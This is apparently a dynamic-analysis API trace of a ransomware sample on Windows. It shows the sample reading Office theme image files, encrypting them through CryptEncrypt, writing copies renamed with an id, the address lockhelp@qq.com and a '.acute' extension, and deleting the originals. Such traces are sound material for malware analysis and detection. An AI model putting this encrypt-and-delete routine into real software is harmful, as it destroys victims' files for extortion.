[0057.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0057.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0057.046] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0057.046] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0057.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.047] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593260) returned 1 [0057.047] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0057.047] ReadFile (in: hFile=0x1ac, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x6fb3, lpOverlapped=0x0) returned 1 [0057.050] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x6fc0, dwBufLen=0x6fc0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x6fc0) returned 1 [0057.051] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x6fc0, lpOverlapped=0x0) returned 1 [0057.052] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931a0) returned 1 [0057.052] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0057.052] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0057.052] CryptDestroyKey (hKey=0x5931a0) returned 1 [0057.052] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0057.052] CryptDestroyKey (hKey=0x593260) returned 1 [0057.052] CloseHandle (hObject=0x1ac) returned 1 [0057.052] CloseHandle (hObject=0x184) returned 1 [0057.053] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0057.054] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0057.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.055] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=3957) returned 1 [0057.055] CloseHandle (hObject=0x184) returned 1 [0057.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0057.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0057.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.055] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0057.055] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0057.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.627] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5932a0) returned 1 [0058.627] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0058.627] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0xf75, lpOverlapped=0x0) returned 1 [0058.629] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xf80, dwBufLen=0xf80 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xf80) returned 1 [0058.629] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf80, lpOverlapped=0x0) returned 1 [0058.632] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931a0) returned 1 [0058.632] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0058.632] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0058.632] CryptDestroyKey (hKey=0x5931a0) returned 1 [0058.632] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0058.632] CryptDestroyKey (hKey=0x5932a0) returned 1 [0058.632] CloseHandle (hObject=0x184) returned 1 [0058.632] CloseHandle (hObject=0x1a0) returned 1 [0058.633] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0058.634] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0058.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.634] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1453) returned 1 [0058.635] CloseHandle (hObject=0x1a0) returned 1 [0058.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0058.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0058.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.635] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0058.635] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0058.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.637] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5932a0) returned 1 [0058.637] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0058.637] ReadFile (in: hFile=0x1a0, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x5ad, lpOverlapped=0x0) returned 1 [0058.638] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5b0) returned 1 [0058.638] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x5b0, lpOverlapped=0x0) returned 1 [0058.639] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931a0) returned 1 [0058.639] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0058.639] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0058.639] CryptDestroyKey (hKey=0x5931a0) returned 1 [0058.639] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0058.639] CryptDestroyKey (hKey=0x5932a0) returned 1 [0058.639] CloseHandle (hObject=0x1a0) returned 1 [0058.639] CloseHandle (hObject=0x184) returned 1 [0058.640] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0058.641] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0058.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.641] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=25106) returned 1 [0058.641] CloseHandle (hObject=0x184) returned 1 [0058.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0058.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0058.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.642] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0058.642] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0058.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.642] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5932a0) returned 1 [0058.642] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0058.642] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x6212, lpOverlapped=0x0) returned 1 [0058.644] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x6220, dwBufLen=0x6220 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x6220) returned 1 [0058.644] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x6220, lpOverlapped=0x0) returned 1 [0058.645] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931a0) returned 1 [0058.645] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0058.645] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0058.645] CryptDestroyKey (hKey=0x5931a0) returned 1 [0058.645] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0058.645] CryptDestroyKey (hKey=0x5932a0) returned 1 [0058.645] CloseHandle (hObject=0x184) returned 1 [0058.645] CloseHandle (hObject=0x1a0) returned 1 [0058.646] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0058.647] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0058.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.648] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1347) returned 1 [0058.648] CloseHandle (hObject=0x1a0) returned 1 [0058.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0058.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0058.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.649] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0058.649] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0058.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.650] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5932a0) returned 1 [0058.650] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0058.651] ReadFile (in: hFile=0x1a0, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x543, lpOverlapped=0x0) returned 1 [0058.652] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x550, dwBufLen=0x550 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x550) returned 1 [0058.652] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x550, lpOverlapped=0x0) returned 1 [0058.653] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931a0) returned 1 [0058.653] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0058.653] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0058.653] CryptDestroyKey (hKey=0x5931a0) returned 1 [0058.653] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0058.653] CryptDestroyKey (hKey=0x5932a0) returned 1 [0058.653] CloseHandle (hObject=0x1a0) returned 1 [0058.653] CloseHandle (hObject=0x1ac) returned 1 [0058.654] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0058.655] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0058.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.655] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=32403) returned 1 [0058.655] CloseHandle (hObject=0x1ac) returned 1 [0058.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0058.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0058.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.656] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0058.656] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0058.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.656] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5932a0) returned 1 [0058.656] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0058.656] ReadFile (in: hFile=0x1ac, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x7e93, lpOverlapped=0x0) returned 1 [0058.658] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7ea0, dwBufLen=0x7ea0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7ea0) returned 1 [0058.658] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x7ea0, lpOverlapped=0x0) returned 1 [0058.659] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931a0) returned 1 [0058.659] 